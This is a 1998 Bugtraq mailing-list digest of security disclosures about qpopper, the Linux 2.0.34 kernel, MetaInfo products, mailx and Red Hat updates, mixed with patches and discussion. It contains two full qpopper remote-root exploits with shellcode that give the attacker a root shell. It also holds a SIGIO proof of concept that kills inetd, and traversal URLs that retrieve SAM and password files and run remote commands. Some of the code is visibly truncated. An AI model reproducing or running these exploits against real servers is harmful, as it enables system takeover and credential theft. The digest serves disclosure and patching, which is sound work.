Date: Wed, 1 Jul 1998 00:02:55 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 29 Jun 1998 to 30 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980701040502Z69510-25233+7@brimstone.netspace.org>
There are 19 messages totalling 1099 lines in this issue.
Topics of the day:
1. Patched Qpopper2.5 release Notification.
2. Vulnerability in 4.4BSD Secure Levels Implementation
3. Exmh hangs from BUGTRAQ posts [fix]
4. Serious Linux 2.0.34 security problem (2)
5. QPOPPER - FreBSD, BSDI/OS remote exploit
6. patch for qpopper remote exploit bug (3)
7. A small but deadly bug in new QPopper2.5
8. More problems with QPOPPER - (2)
9. QPopper Exploit
10. Livingston Portmaster - ISN generation is loosy!
11. Security vulnerabilities in MetaInfo products
12.
13. SECURITY: too many new packages
14. Environment variables (SECURITY: too many new packages)
15. Qualcomm's qpopper 2.5
----------------------------------------------------------------------
Date: Mon, 29 Jun 1998 21:43:18 -0700
From: Praveen Yaramada
Subject: Patched Qpopper2.5 release Notification.
Hello Folks,
As you are already aware that qpopper 2.41 and prior are vulnerable to
buffer overflow there by causing security breach. A patched qpopper2.5 is
made available at
http://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.5.tar.Z.
This server release is immune from all the known security holes posted in
bugtraq@netscape.org. Please upgrade or patch your server if you are
running any qpopper older than 2.5.
Many thanks to all the people who posted these bugs and patches.
Thanks
Praveen Yaramada.
------------------------------
Date: Mon, 29 Jun 1998 20:57:37 -0400
From: Roger Harrison ?
Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
On Mon, 29 Jun 1998, Niall Smart wrote:
> On Jun 26, 8:41am, Tim Newsham wrote:
> } Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
> > >
> > > - The syslogd daemon can be covertly compromised, so no useful
> > > information ever gets logged to the protected system logs. But at
> > > least no-one can modify the useless information.
> >
> > Be smart, niall, syslog can only be compromised after the system
> > has been compromised.
uhm, not necessarily.
The pinelock.csh script I wrote around 12/97 and posted to bugtraq
could kill syslogd if root opens up two sessions of pine.
It is a local exploit.
http://kepler.poly.edu/~rharri01
iconoclast@thepentagon.com
-Iconoclast
------------------------------
Date: Tue, 30 Jun 1998 13:34:58 +0800
From: David Luyer
Subject: Exmh hangs from BUGTRAQ posts [fix]
CC'd to welch@acm.org [exmh bug address]
igor@debian.org [exmh debian maintainer]
If URI scanning is enabled in exmh (I'm using version 2.0.2 2/24/98 on
Debian Linux, Tk 8.0, Tcl 8.0), recent BUGTRAQ posts with very long strings
of letters (ie, xxxxxxxx[...]) have caused complete hangs in exmh of around
5 minutes for some messages. During this time exmh is completely
unresponsive, except to a kill (it doesn't even repaint its display).
Here's a patch to fix the problem;
=================== patch begin =================================
--- uri.tcl Tue Jun 30 13:23:39 1998
+++ uri.tcl.orig Tue Jun 30 13:21:08 1998
@@ -324,7 +324,7 @@
Exmh_Debug "URI_ScanMsg $limit"
set multiline 0
set hit 0
- set Protocol (ftp|http|https|gopher|nntp|telnet|wais|file|prospero|finger|urn|mailto|news|solo|x500)
+# set protocol (ftp|http|https|gopher|nntp|telnet|wais|file|prospero|finger|urn|mailto|news|solo|x500)
set protocol {[A-Za-z_]+[-A-Za-z0-9_]*}
for {set i 0} {[$w compare $i.0 < $limit]} {if {! $hit} {incr i}} {
@@ -417,10 +417,8 @@
set start [expr [lindex $indices 0] + 1]
set end [expr [lindex $indices 1] - 1]
set hit 1
-# fix mailer hangs of up to 5 minutes which were happening due to
-# BUGTRAQ posts with very long strings of xxxxxxxxxxxxxxxxx[...] in
-# them by using $Protocol instead of $protocol.
- } elseif {[regexp -indices "$Protocol:/+\[^ \n\t\]+\[^ \n\t,\.\)>\'\"\]" \
+
+ } elseif {[regexp -indices "$protocol:/+\[^ \n\t\]+\[^ \n\t,\.\)>\'\"\]" \
$text indices] == 1} {
# check for unencapsulated URIs by protocol if no < > present
Exmh_Debug Regexp4 $indices
=================== patch end ===================================
While there are still, and will probably always be, some obvious ways to
cause the same problem, it fixes the problem for the case of the
semi-frequent BUGTRAQ posts which contain long alphabetic strings with no
breaks.
To fix the general hang/DoS, disable URI scanning or some work has to be
done on the regexps (possibly changing the line
set protocol {[A-Za-z_]+[-A-Za-z0-9_]*}
to
set protocol {[A-Za-z_]+[-A-Za-z0-9_]{,10}}
or however such a regexp would be written in Tcl would help significantly)
David.
------------------------------
Date: Tue, 30 Jun 1998 15:10:47 +0800
From: David Luyer
Subject: Serious Linux 2.0.34 security problem
I just saw this mentioned on linux-kernel and confirmed it;
#include
#include
#include
#include
#include
int main(int argc, char *argv[]) {
int s, p;
if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}
This can kill from a normal user account the inetd process under Linux
2.0.34 by sending a SIGIO. Very bad.
The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line number
is approximately 139.
David.
------------------------------
Date: Tue, 30 Jun 1998 10:56:57 +0000
From: MiG
Subject: QPOPPER - FreBSD, BSDI/OS remote exploit
Hello
Herbert Rosmanith's in his remote exploit post heven't mentioned that
it works only against Linux qpopper... it is important becouse it will
not work under BSD systems... (i realize that when i saw those \xcd\x80
what is int 0x80 and this is Linux system call).
Becouse i haven't seen that somone use qpopper under Linux so i think it
is quiet useless.
Here is exploit i wrote which works against every FreeBSD & BSD/OS with
standard qpopper 2.x instalation.
It is for EDUCATIONAL purposes ONLY and use it at your OWN risk!
Any comments welcome...
---x--------x----------x---------cut---------x-------x------x--------x---
/*
* QPOPPER - remote root exploit
* by Miroslaw Grzybek
*
* - tested against: FreeBSD 3.0
* FreeBSD 2.2.x
* BSDI BSD/OS 2.1
* - offsets: FreeBSD with qpopper 2.3 - 2.4 0
* FreeBSD with qpopper 2.1.4-R3 900
* BSD/OS with qpopper 2.1.4-R3 1500
*
* this is for EDUCATIONAL purposes ONLY
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
"\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
"\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
"\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
"\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
"\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define ADDR 0xefbfd504
#define OFFSET 0
#define BUFLEN 1200
char buf[BUFLEN];
int offset=OFFSET;
int sock;
struct sockaddr_in sa;
struct hostent *hp;
void main (int argc, char *argv[]) {
int i;
if(argc<2) {
printf("Usage: %s [offset]\n",argv[0]);
exit(0);
}
if(argc>2)
offset=atoi(argv[2]);
/* Prepare buffer */
memset(buf,0x90,BUFLEN);
memcpy(buf+800,shell,strlen(shell));
for(i=901;ih_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
perror("connect()");
exit(0);
}
printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
/* Write evil data */
write(sock,buf,strlen(buf));
/* Enjoy root shell ;) */
while(1) {
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
if((select(sock+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("CONNECTION CLOSED...\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(sock,&input))
write(1,buf,read(sock,buf,BUFLEN));
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
---x--------x----------x---------cut---------x-------x------x--------x---
----------------------------- *-+---+------+---------+------+---+-*
----- Miroslaw Grzybek ----- | PGP KEY AVAILABLE FROM |
--mig@zeus.polsl.gliwice.pl-- | http://www.polsl.gliwice.pl/~mig |
----------------------------- *-+---+------+---------+------+---+-*
------------------------------
Date: Mon, 29 Jun 1998 12:27:16 EDT
From: Kev
Subject: Re: patch for qpopper remote exploit bug
> http://www.pdc.kth.se/~joda/snprintf.c
A friend of mine has a rather clever implementation using pipe;
http://web.mit.edu/svalente/src/snprintf/snprintf.c
--
Kevin L. Mitchell
------------------------- -. .---- --.. ..- -..- -------------------------
http://web.mit.edu/klmitch/www/ (PGP Key AE87D37D availiable here)
DE EA 1E 99 3F 2B F9 23 A0 D8 05 E0 6F BA B9 D2
------------------------------
Date: Tue, 30 Jun 1998 16:21:18 +0000
From: =?iso-8859-1?Q?Jes=FAs?= Cea =?iso-8859-1?Q?Avi=F3n?=
Subject: A small but deadly bug in new QPopper2.5
I've just installed qpopper 2.5, released last night
(ftp://ftp.qualcomm.com/eudora/servers/unix/popper/), after reading the
last bugtraq security postings and patch my good old qpopper 2.2. But it
has a bug which prevents the use of bulletins.
The first time an user reads its mailbox with new bulletins, the server
dies. The second time (inetd launchs it) it blocks since the flock was
not released.
Time to sleep again :-).
Patch included:
*** pop_bull.c.old Tue Jun 30 15:48:34 1998
--- pop_bull.c Tue Jun 30 15:51:54 1998
***************
*** 271,278 ****
dbm_store(p->bull_db, name, bull_count, DBM_REPLACE);
dbm_close(p->bull_db);
#endif
- p->bull_db = NULL;
flock(dbm_dirfno(p->bull_db), LOCK_UN);
#else
/* Update the user's .popbull file. */
popBull = fopen(popBullName, "w");
--- 271,278 ----
dbm_store(p->bull_db, name, bull_count, DBM_REPLACE);
dbm_close(p->bull_db);
#endif
flock(dbm_dirfno(p->bull_db), LOCK_UN);
+ p->bull_db = NULL;
#else
/* Update the user's .popbull file. */
popBull = fopen(popBullName, "w");
--
Jesus Cea Avion _/_/ _/_/_/ _/_/_/
jcea@argo.es http://www.argo.es/~jcea/ _/_/ _/_/ _/_/ _/_/ _/_/
_/_/ _/_/ _/_/_/_/_/
PGP Key Available at KeyServ _/_/ _/_/ _/_/ _/_/ _/_/
"Things are not so easy" _/_/ _/_/ _/_/ _/_/ _/_/ _/_/
"My name is Dump, Core Dump" _/_/_/ _/_/_/ _/_/ _/_/
"El amor es poner tu felicidad en la felicidad de otro" - Leibnitz
------------------------------
Date: Mon, 29 Jun 1998 12:26:04 -0400
From: Steven Winikoff
Subject: Re: patch for qpopper remote exploit bug
>This can blow up -
It certainly can. :-(
Basically I was in too much of a hurry and misread the NetBSD man page
for vsnprintf(), leading me to write a nice implementation (well, I
think so :-) of an entirely incorrect design. :-(
Incidentally, when that was first pointed out to me I attempted to say
so on Bugtraq, in order to prevent further confusion; unfortunately that
reply doesn't seem to have made it out to the list.
I apologize for wasting your time, but I do appreciate your polite and
helpful reply. :-)
- Steven
________________________________________________________________________
Steven Winikoff | "The difference between the right word
Concordia University | and the nearly right word is the
Montreal, QC, Canada | difference between the lightning and
smw@alcor.concordia.ca | the lightning bug."
http://alcor.concordia.ca/~smw | - Mark Twain
------------------------------
Date: Mon, 29 Jun 1998 12:51:31 -0600
From: "Aaron D. Gifford"
Subject: Re: More problems with QPOPPER -
John Fraizer wrote:
<>
>
> It segfaulted and dumped core.
>
> Damnit, Jim, I'm a Doctor not a C programmer! I have managed to locate
> the portion of the code that is bypassing the " -ERR Command
> "xxxxxxxxxxxxxxxxx" (truncated) exceedes maximum permitted size. " code
> from the installed patches:
>
> In pop_parse.c, we find:
>
> /*
> * This is kinda gross. Passwords have to be parsed diffrently
> * as they may contain spaces. If you think of a cleaner way,
> * do it. The "p->pop_command[0] == 'p'" is so save a call to
> * strcmp() on ever call to pop_parse(); This parsing keeps
> * leading and trailing speces behind for the password command.
> */
> if(p->pop_command[0] == 'p' && strcmp(p->pop_command,"pass") ==
> 0) {
> if (*mp != 0) {
> p->pop_parm[1] = mp;
> if (strlen(mp) > 0) {
> mp = mp + strlen(mp) - 1;
> while (*mp == 0xa || *mp == 0xd) *mp-- = 0;
> }
>
> Looks like basically that if the parser sees that the command was actually
> a password argument, it doesn't send it through the truncate code.
Looks like qpopper after the "if(p->pop_command..." bit assumes everything
else in the buffer is the password except any trailing CR/LF characters, which
it removes. I cannot understand the "if (strlen(mp) > 0) {" test, because the
previous "if (*mp != 0) {" test should guarantee that strlen() will always at
least return 1.
For those who want to be consistent about limiting argument length using
MAXPARMLEN (which is defined in popper.h), you can try this snippit instead
of the existing snippit in pop_parse.c as quoted above:
if(p->pop_command[0] == 'p' && strcmp(p->pop_command,"pass") == 0) {
if (*mp != 0) {
if (strlen(mp) > MAXPARMLEN) {
mp[MAXPARMLEN] = '\0';
pop_msg(p,POP_FAILURE,
"Argument %d \"%s\" (truncated) exceeds maximum permitted size.",
i+1, mp);
return(-1);
}
p->pop_parm[1] = mp;
mp = mp + strlen(mp) - 1;
while (*mp == 0xa || *mp == 0xd) *mp-- = 0;
return(1);
} else
return (-1);
}
PLEASE be aware that you need a large enough MAXPARMLEN defined in popper.h to
handle large passwords or APOP depending on your individual needs. I've been
using 32 on my system, which should permit APOP to work.
Another fun qpopper trivia fact for the security conscious: It is possible to
glean valid user names from sites using certain configurations of qpopper with
APOP support. For example:
localhost# telnet localhost 110
+OK QPOP (version 2.41beta1) at localhost starting. <115.899106609@localhost>
APOP bogus-user 1638de71888f8c3ff023ac5c38621211
-ERR Password supplied for "bogus" is incorrect.
+OK Pop server at localhost signing off.
Connection closed by foreign host.
localhost# telnet localhost 110
+OK QPOP (version 2.41beta1) at localhost starting. <119.899106628@localhost>
APOP real-user 8463af56e9a5d72cc84012ad7748f92c
-ERR not authorized
+OK Pop server at localhost signing off.
Connection closed by foreign host.
localhost#
Nice. In some cases where APOP support is compiled in but the APOP database
does not exist, the error message on a valid user might be "-ERR POP
authorization DB not available (real-user)" instead of the "-ERR not
authorized" message. I don't know if this would work for sites with properly
configured APOP or not. It worked on my own machine which does NOT use APOP
but had APOP compiled in by default.
Aaron out.
------------------------------
Date: Mon, 29 Jun 1998 19:59:00 +0000
From: Niall Smart
Subject: Re: More problems with QPOPPER -
On Jun 29, 5:08pm, Julian Assange wrote:
} Subject: Re: More problems with QPOPPER -
> The answer to all this is of course cucipop, by S. R. van den Berg (of procmail fame):
>
> ftp://ftp.informatik.rwth-aachen.de/pub/packages/cucipop/
If it is also coded like procmail:
sgetcp=fdefault;readparse(buf,sgetc,2);fdefault=tstrdup(buf);
strcpy(chp2=strchr(strcpy(buf,chp=(char*)getenv(orgmail)),'\0'),lockext);
defdeflock=tstrdup(buf);sgid=egid;accspooldir=3; /* presumed innocent */
if(mailfilter||!screenmailbox(chp,chp2,egid,Deliverymode))
{ rcst_nosgid();sputenv(orgmail); /* nix delivering to system mailbox */
if(!strcmp(chp,fdefault)) /* DEFAULT the same? */
free((char*)fdefault),fdefault=""; /* so panic */
} /* bad news, be conservative */
Then I would steer well clear of it.
Niall
--
Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk
FreeBSD: Turning PC's into Workstations: www.freebsd.org
------------------------------
Date: Mon, 29 Jun 1998 21:01:51 +0100
From: Here in my world I am God
Subject: QPopper Exploit
This is a multi-part message in MIME format.
--------------9CF769026596CED793CC0CC3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Here's an exploit for QPopper 2.4. Since the overflow is common to
several versions, it should work on them too.
You need netcat to make it work, and you'll get a root prompt when it
does.
Regards,
[WaR]
--------------9CF769026596CED793CC0CC3
Content-Type: text/plain; charset=us-ascii; name="qpopper.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="qpopper.c"
/* Exploit for qpopper 2.4 (and others) for Linux
* by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
*
* usage: (./qpopper ;cat)|nc 110
* with offset around 1000 (try increments of 50)
*
*
* shout outs to: Zef and YZF
*/
#include
#include
#define BUFFSIZE 998
char shell[] =
"\xeb\x33\x5e\x89\x76\x08\x31\xc0"
"\x88\x66\x07\x83\xee\x02\x31\xdb"
"\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
"\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
"\xee\x02\x8d\x5e\x0e\x89\xda\x83"
"\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
"\xff\xff/bin/sh";
unsigned long esp()
{
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv)
{
int i,j,offset;
unsigned long eip;
char buffer[4096];
j=0;
offset=atoi(argv[1]);
eip=esp()+offset;
for(i=0;i<1008;i++) buffer[i]=0x90;
for(i=(BUFFSIZE - strlen(shell));i> 8) & 0xff;
buffer[i+2]=(eip >> 16) & 0xff;
buffer[i+3]=(eip >> 24) & 0xff;
printf("%s\nsh -i\n",buffer);
}
--------------9CF769026596CED793CC0CC3--
------------------------------
Date: Tue, 30 Jun 1998 10:46:21 -0500
From: Aleph One
Subject: Livingston Portmaster - ISN generation is loosy!
[ LISSTSERV did not grok Emmanuel's message to I am forwarding for him - a1 ]
Date: Tue, 30 Jun 1998 06:32:33
Reply-To: manu@acm.org
From: Emmanuel Tychon
To: bugtraq@netspace.org
Subject: Livingston Portmaster - ISN generation is loosy!
Hello guys!
Making some hacks with Initial Sequence Numbers (ISN), i found something
really strange on Livingston Portmasters routers (running ComOS). It seems
that the ISN is always 127 :o
This is really annoying, because this is really a big security hole (think
about IP-Blind Spoofing), and more formally, it do not comply with RFC793.
RFC793 says:
To avoid confusion we must prevent segments from one incarnation of a
connection from being used while the same sequence numbers may still
be present in the network from an earlier incarnation. We want to
assure this, even if a TCP crashes and loses all knowledge of the
sequence numbers it has been using. When new connections are created,
an initial sequence number (ISN) generator is employed which selects a
new 32 bit ISN. The generator is bound to a (possibly fictitious) 32
bit clock whose low order bit is incremented roughly every 4
microseconds. Thus, the ISN cycles approximately every 4.55 hours.
Since we assume that segments will stay in the network no more than
the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55
hours we can reasonably assume that ISN's will be unique.
To do the test, i have used an 'house made' program, but you can see it even
with a simple tcpdump, like this:
23:30:34.271212 ns.4965 > router1.be.telnet: S 873747771:873747771(0)
23:30:36.901212 router1.telnet > ns.4965: S 127:127(0)
23:30:36.901212 ns.4965 > router1.telnet: . ack 1
23:30:41.501212 router1.telnet > ns.4965: . ack 31
...
["ns" is connecting on "router1". Unused things has been removed from tcpdump
output]
---
Member of the ACM. Look http://www.acm.org
||| | Emmanuel Tychon
O-O | nic-hdl: ET99-RIPE, nic-irc: kosinus
(_) |
oOO-----OOo | Don't be assimilated, use Linux!
| Linux | |
\-------/ | PGP key on http://pgp.ai.mit.edu
------------------------------
Date: Tue, 30 Jun 1998 13:01:55 -0500
From: Jeff Forristal
Subject: Security vulnerabilities in MetaInfo products
Intro:
MetaInfo (www.metainfo.com) puts out many NT service products, including
MetaIP (DHCP/DNS manager) and Sendmail (Unix port). Both products allow
remote administration via Web UIs, and MetaIP uses Java to communicate
back to the server.
Problem:
MetaInfo bundles their own in-house web server, MetaWeb server, for use
with the web UIs and to serve the Java applets. The server can be
configured to run on multiple ports (default is 5000), and you specify
a root directory per port. For instance, you can run the server on port
5000, and use c:\webpages as the root index, and run another instance on
port 5001, and use d:\inetroot as the root index. This configuration
is stored in the registry under:
HKEY_LOCAL_MACHINE/software/metainfo/metaweb
The problem is that the MetaWeb server doesn't restrict you to the root
directory. By using /../ notation, you can escape to higher levels of
the file structure, and retrieve known files.
For instance, the default MetaWeb server root for Sendmail is
c:\sendmail\web. A request to to http://mail.server.com:5000 will
retrieve
index.html from this directory. However, by requesting
http://mail.server.com:5000/../../ it is possible to retrieve files from
the root (c:\) file directory. Consequently, since this is an NT system,
you can request files from the winnt directory by specifying
http://mail.server.com:5000/../../winnt/
MetaIP's default directory is c:\metaip\java\webui, which would require
3 levels of transversal to the root directory (/../../../), compared to
Sendmail's 2 (/../../).
This allows anyone to request, via a normal web browser (NOTE: only
Netscape browsers are able to retrieve unathorized files, from my testing)
any file known on the file system (directory browsing is not allowed, so
the filename must be known).
In a Sendmail situation, the most obvious file is the password file used
by
the Sendmail program for POP3 access. This file is located in
c:\sendmail\smusers.txt and can be retrieved via the web by
http://mail.server.com:5000/../smusers.txt
This file is in standard UNIX /etc/passwd format, and can have 3 types of
entries:
1. a normal entry, where the password field contains a standard crypt
hash.
2. a blocked entry, where the password field contains a '*', which doesn't
allow logging in for that user
3. a NT authenticate entry, where the password contains a !DOMAIN, causing
sendmail to authenticate the user's password to a NT DOMAIN. So,
an entry of !NEOHAPSIS would authenticate to the 'NeoHapsis' NT
domain.
Since this file is in standard Unix format, that allows sysadmins to copy
/etc/passwd files onto the NT server (assuming a heterogenous network).
This means it is possible to find 'root' password hashes in smusers.txt.
Simpliest use for this file is to strip out all blocked (*) and NT domain
(!DOMAIN) entries, and run Crack to find the passwords.
Of course, retrieval of a copy of the SAM would lead to password
compromise
for the NT authentication. A typical copy can be found in the /repair/
directory, and retrieved as:
http://mail.server.com:5000/../../winnt/repair/sam._
Directly requesting the SAM or other system-wide locked files results in
an
in a Error 404 and an Application error is written to the Event Log.
The MetaWeb server allows the running of NT batch/CMD files (this is how
some
of the Sendmail remote configuring works); if an attacker was to upload
or produce a standard NT batch file, he could run any program he wishes.
It has also been proven that the MetaWeb server will allow execution of
any application on the server. Execution of command line applications
will have their results sent back to the browser. GUI applications will
NOT be displayed on the server, but will result in the MetaWebs.exe
process to spike to and maintain a 100% utilization.
To execute a command, you must append a '?' to it; otherwise, you will
merely download the application. For instance:
http://mail.server.com:5000/../../winnt/system32/net.exe
would download net.exe; however,
http://mail.server.com:5000/../../winnt/system32/net.exe?
will run the net program. Command line parameters are possible, using
'%20' for spaces. So
http://mail.server.com:5000/../../winnt/system32/net.exe?user%20joe%20/delete
would delete user 'joe' (however, certain commands will not work,
including subsets of the 'net' command. This was just an example).
Even worse, by enabling remote administration of MetaIP causes the
software
to make an NT share with full permissions to the Everyone group. The
share is hidden as MetaIPAdminData$.
This is presumably so a remote client generates the proper named.conf
files
locally, and then the Java applets open a local conection to the server
via the share to actually write the configurations.
All the DHCP information is kept in an Access Database located in
c:\metaip\data\MetaIPAdminData.mdb. It is password protected; however, I
was not surprised to find out the password was 'metaip rules'.
As far as the Java applets go, they require a name and password to log
into
the server, which is then sent over the wire. A network packet capture of
this transaction shows a data packet that contains a plaintext user name,
and what appears to be a 8-10 character password hash. I have yet to
determine if the application is immune to a packet-replay attack.
MetaIP and Sendmail both include security mechanisms via passwords and
even
restricting remote access to certain IP ranges/addresses. Problem is that
this information is NOT used by MetaWeb server. Each product uses an
application CGI to process and handle remote requests (ie. handling a
POST from FORM data on a web page), and it's these CGIs
that take into account password and IP restriction. Since we are not
running the CGI applications (we are not using HTML FORM elements
POSTed to the CGI applications, such as config.exe for Sendmail, to
access the information), the security is effectively bypassed.
In a nutshell, this whole thing boils down to the fact that the security
is in the program/application CGIs, but the MetaWeb server is completely
open. If you haven't figured it out yet, this is not a problem that leads
to an attacker directly reconfiguring your MetaInfo product; however,
should the attacker gain access to password info, it is possible that he
could use that info to go back and reconfigure the MetaInfo product via
normal means (the web UI), but security and IP restriction would then
apply.
So, just because an attacker retrieved your Sendmail password file, this
doesn't mean he can log into the web UI and reconfigure the software if
you have your IP restrictions set correctly. But he can use the passwords
to log into the server via POP3 and retrieve email, as well as test
whether
those user/password combinations are valid for other services (ftp,
telnet,
etc).
Logging options exist in the configuration of each product, but this turns
out to only log CGI application accesses, and not standard web accesses
via
MetaWeb server. There is a registry entry regarding logging for MetaWeb,
which defaults to 'N' (No?). I attempted to set this to 'Y', with out
apparent results.
Who's vulnerable:
It seems anyone with remote administration of these products (MetaIP 3.1,
Sendmail 2.0 & 2.5) is vulnerable to the MetaWeb server file retrieval
hole. How to fix it? Simple: turn off remote administration.
Identifying a victim:
For sendmail, telneting to port 25 will yield a banner stating 'Sendmail
2.0/
2.5 (Build xxxx)', which lets you know they're running MetaInfo Sendmail
(v2.5 includes MetaInfo's name in the banner).
For MetaIP, if remote administration is enabled, telneting to port 2040
(default) will give you a prompt to the effect of 'V3.1'.
Of course, the default Java config port of 2040, and the web UI ports
of 5000 and 5001 are user-definable; so it is possible to have these
services
running and not on these particular ports. A thorough port scan would
resolve that issue.
As far as current victims, MetaInfo has conveniently compiled extensive
lists located at:
www.metainfo.com/products/sendmail/users.htm
www.metainfo.com/products/metaip/users.htm
each with approx. 100 names, including such people as:
US Army STRICOM, US Coast Guard R&D, Federal Aviation Administration
(FAA),
IBM Global Services, IEEE Computer Society, and NBC.
MetaInfo's Stance:
I contacted MetaInfo on June 21st about the problem and requested a reply.
To this day (June 30th) I have still not heard back from them.
Suspiciously,
after I contacted them, MetaInfo disabled their remote administration of
thier Sendmail server (they were vulnerable as well).
-Jeff Forristal
Neohapsis, Inc.
More information about the MetaInfo bug will be posted in the future at
www.forristech.com.
------------------------------
Date: Tue, 30 Jun 1998 12:13:15 -0700
From: Jim Bourne
Subject: Re: Serious Linux 2.0.34 security problem
On Tue, 30 Jun 1998, David Luyer wrote:
> I just saw this mentioned on linux-kernel and confirmed it;
Item to note, on non-glibc systems you must add
#define O_ASYNC FASYNC
as O_ASYNC is not defined (libc 5.4.44), but is defined in glibc header file
/usr/include/fcntlbits.h. FASYNC is defined in asm*/fcntl.h of the kernel
headers.
Regards,
Jim
> David.
>
------------------------------
Date: Mon, 29 Jun 1998 12:22:32 -0400
From: Segv
Subject:
There seems to be some more problems with mailx. While browsing over the
source, I found the code that handles the '!' command.
(this appears in names.c)
if ((shell = value("SHELL")) == NOSTR)
shell = SHELL;
execl(shell, shell, "-c", fname, 0);
As you can see the value() function returns a pointer to the value of (the
envoriment variable) SHELL. If SHELL isn't set it defaults to /bin/bash
(consult local.h). Then execl() is called to execute the value that shell
points too. So you can execute commands with sgid mail privs. One problem
you may run into is shell's that drop privs if rgid != egid, so you could
simply write a wrapper that calls setrgid(mail) then executes the specified
command with sgid mail privs.
Affected: system's that have mailx sgid mail.
Thanks: aleph1 for his ideas.
-----
segv
------------------------------
Date: Tue, 30 Jun 1998 17:06:45 -0500
From: David DeSimone
Subject: Re: patch for qpopper remote exploit bug
Kev wrote:
>
> A friend of mine has a rather clever implementation using pipe;
> http://web.mit.edu/svalente/src/snprintf/snprintf.c
A typical pipe buffer is 1K to 4K in size. If this code attempts to
fprintf() more data into the pipe than will fit, the code will block
because there is no one reading on the other end of the pipe.
--
David DeSimone | "The doctrine of human equality reposes on this:
fox@rsn.hp.com | that there is no man really clever who has not
Hewlett-Packard | found that he is stupid." -- Gilbert K. Chesterson
Convex Division | PGP: 5B 47 34 9F 3B 9A B0 0D AB A6 15 F1 BB BE 8C 44
------------------------------
Date: Tue, 30 Jun 1998 18:52:31 -0400
From: twiztah
Subject: SECURITY: too many new packages
Various security problems have been found in bind, libtermcap, tin, slang,
metamail, and mailx . These problems affect users of Red Hat 4.2,
5.0, and 5.1. Red Hat strongly suggests all users update to these new
versions as soon as possible.
After upgrading to the new version of bind, be sure to restart bind with:
/etc/rc.d/init.d/bind stop
/etc/rc.d/init.d/bind start
Red Hat 5.1
-------------
i386:
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/metamail-2.7-17.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/mailx-8.1.1-3.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/bind-4.9.7-1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/slang-0.99.38-7.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/tin-1.22-11.i386.rpm
alpha:
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/metamail-2.7-17.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/mailx-8.1.1-3.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/bind-4.9.7-1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/slang-0.99.38-7.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/tin-1.22-11.alpha.rpm
sparc:
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/metamail-2.7-17.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/mailx-8.1.1-3.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/bind-4.9.7-1.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/slang-0.99.38-7.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/tin-1.22-11.sparc.rpm
Red Hat 5.0
-------------
i386:
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/metamail-2.7-17.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/mailx-8.1.1-3.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/bind-4.9.7-1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/slang-0.99.38-2.1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/tin-1.22-8.1.i386.rpm
alpha:
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/metamail-2.7-17.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/mailx-8.1.1-3.alpha.rpm
